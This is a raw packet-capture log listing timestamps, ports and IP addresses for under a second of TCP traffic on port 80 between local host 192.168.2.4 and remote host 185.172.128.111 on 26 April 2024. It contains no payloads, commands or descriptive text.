Apr 26, 2024 09:41:09.207519054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.207915068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.207962036 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.207974911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.208009958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.208020926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.208054066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.208093882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.208158970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.208201885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.208246946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.208287954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.208334923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.208405018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.208450079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.249186993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.249222040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.249239922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.249279022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.249315023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.249489069 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.251100063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.251166105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.251182079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.251233101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.251322985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.251395941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.252636909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.252696991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.252785921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.252837896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.252932072 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.252984047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.252984047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.253031015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.253046036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.253094912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.253631115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.253681898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.254110098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.254160881 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.254254103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.254312992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.254390955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.254448891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.254491091 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.254538059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.254710913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.254760027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.254944086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.254993916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.255016088 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.255058050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.255146027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.255193949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.255270004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.255319118 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.255325079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.255367041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.255515099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.255569935 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.255573988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.255620956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.255640984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.255681992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.255733013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.255788088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.255857944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.255913019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.255929947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.255980968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.256010056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.256050110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.256053925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.256088018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.256095886 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.256136894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.256488085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.256541014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.256670952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.256724119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.256824017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.256872892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.256897926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.256943941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.257035971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.257086039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.257113934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.257158041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.257206917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.257256031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.257306099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.257356882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.257431984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.257482052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.259114981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.259169102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.259197950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.259242058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.259345055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.259391069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.259396076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.259432077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.259481907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.259526968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.259622097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.259670973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.259695053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.259742022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.432815075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.432841063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.432877064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.432924032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.432941914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.432998896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433043957 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433043957 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433067083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433098078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433118105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433126926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433173895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433176994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433211088 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433224916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433259964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433267117 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433279037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433301926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433305025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433332920 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433351994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433353901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433371067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433398962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433430910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433460951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433465004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433480978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433490992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433521986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433526993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433542013 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433552980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433573008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433597088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433614016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433633089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433649063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433655024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433666945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433676004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433687925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433697939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433705091 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433722973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433725119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433767080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433782101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433798075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433815002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433823109 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433830976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433860064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433862925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433882952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433895111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433938026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.433943033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433974981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.433984995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434017897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434026957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434066057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434072971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434088945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434112072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434135914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434148073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434190989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434195042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434236050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434319973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434336901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434355021 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434370041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434372902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434391022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434391022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434406996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434410095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434425116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434434891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434477091 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434485912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434519053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434528112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434535980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434566975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434581995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434583902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434619904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434627056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434667110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434694052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434731960 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434748888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434788942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434803963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434822083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434850931 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434870958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434870958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434889078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434906960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434911966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434923887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434932947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434940100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434957981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434967041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.434974909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.434992075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.435002089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.435009003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.435048103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.435067892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.435070992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.435089111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.435106993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.435112000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.435123920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.435134888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.435139894 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.435161114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.435193062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.479974985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.720030069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.831830978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.831851006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.831911087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.831916094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.831928015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.831974030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.832037926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.832082987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.832226038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.832274914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.832315922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.832331896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.832380056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.832403898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.832516909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.832572937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.832591057 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.832634926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.832657099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.832685947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.832711935 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.832731962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.887083054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.887181044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.887195110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.887233019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.887264013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.887280941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.887329102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.887373924 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.887433052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.887444019 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.887510061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.887521029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.887526989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.887548923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.887573957 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.887876034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.887933969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.887947083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.887985945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888000965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888016939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888062000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888235092 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888267994 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888286114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888288975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888329029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888354063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888370037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888396025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888415098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888437033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888470888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888493061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888511896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888535976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888550997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888577938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888597965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888784885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888843060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888885975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888937950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.888947964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888978958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.888993979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.889019966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.942580938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.942612886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.942630053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.942643881 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.942655087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.942691088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.942945004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.942970991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.942996025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.943033934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.943037033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.943061113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.943092108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.943111897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.943151951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.943205118 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.943222046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.943264961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.943289042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.943305016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.943347931 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.943357944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.943734884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.943794012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.943797112 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.943830013 CEST	80	49730	185.172.128.111	192.168.2.4
